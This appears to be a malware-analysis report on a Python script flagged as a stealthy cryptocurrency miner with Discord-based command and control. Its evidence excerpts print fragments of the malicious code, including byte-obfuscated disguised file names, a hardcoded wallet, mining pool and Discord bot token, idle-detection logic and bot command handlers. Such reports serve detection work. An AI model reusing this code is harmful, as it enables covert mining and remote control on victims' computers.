skibidi-stage.py
Crypto miner with C2 and persistence
Activity-aware cryptocurrency minerHardcoded Discord bot token
SHA-2568b0cfd18e28a0156a03d558c379d2edba18a9c6fe2b99a49133b4afcf57a53a5
Evidence
16:349… ,110,54,52,46,122,105,112]).decode()
17INSTALL_DIR = os.path.join(os.getenv('APPDATA'), bytes([77,105,99,114,111,115,111,102,116,67,97,99,104,101]).decode())
18GPU_DIR = os.path.join(os.getenv('APPDATA'), bytes([68,105,115,112,108,97,121,65,100,97,112,116,101,114]).decode())
19CPU_EXE = bytes([114,117,110,116,105,109,101,98,114,111,107,101,114,46,101,120,101]).decode()
20GPU_EXE = bytes([100,105,115,112,108,97,121,115,118,99,46,101,120,101]).decode()
21CONFIG_NAME = "config.json"
22LOG_FILE = "service.log"
23GPU_LOG_FILE = "display.log"
24
25MINER_COIN = "LTC"
26MINER_WALLET = "LdY3GfMWrpB66GnE7YeFgWbpDMU9VBXtBf"
27POOL_URL = "rx.unmineable.com:3333"
28BOT_TOKEN = "MTUxMzYxNjU3NTcyMTExNTc1OA.GeC66d.Hf6K1ilMANpvfFb398NaodQ_dw6lN4CCgQ2WiI"
29BOT_PLATFORM = "DISCORD"
30DEVICE_MODE = "CPU"
⋯5 lines
⋯4 lines
275def _get_gpu_pool():
276 pool = POOL_URL
277 pool = pool.replace("stratum+tcp://", "").replace("stratum+ssl://", "").strip("/")
278 if "unmineable" in pool.lower():
279 host_port = pool.split(":")
280 port = host_port[1] if len(host_port) > 1 else "3333"
281 subdomain = _GPU_ALGO_TO_UNMINEABLE.get(GPU_ALGO.lower(), "etchash")
282 return f"{subdomai …
428:24… bSize", ctypes.c_uint), ("dwTime", ctypes.c_uint)]
429 user32 = ctypes.windll.user32
430 kernel32 = ctypes.windll.kernel32
431 idle_threshold = 5
432 is_mining = True
433 while True:
434 time.sleep(0.3)
435 lii = LASTINPUTINFO()
436 lii.cbSize = ctypes.sizeof(LASTINPUTINFO)
437 user32.GetLastInputInfo(ctypes.byref(lii))
438 tick = kernel32.GetTickCount()
439 idle_ms = tick - lii.dwTime
440 if idle_ms < 0:
441 …
⋯4 lines
586
587def run_discord_bot():
588 import discord
589 from discord.ext import commands
590 intents = discord.Intents.default()
591 intents.message_content = True
592 bot = commands.Bot(command_prefix='!', intents=intents, help_command=None)
593 _cid = _register_client()
594 _chan_selected = {}
⋯4 lines
613:8… await ch.send(embed=embed)
614 except: pass
615 break
616
617 @bot.command(name="clients")
618 async def cmd_clients(ctx):
619 if not _clients:
620 await ctx.send("No clients connected.")
621 return
622 lines = []
623 for cid, ci in _clients.items():
624 sel = _chan_selected.get(ctx.channel.id)
625 marker = " **[SELECTED]**" if sel == cid else ""
626 …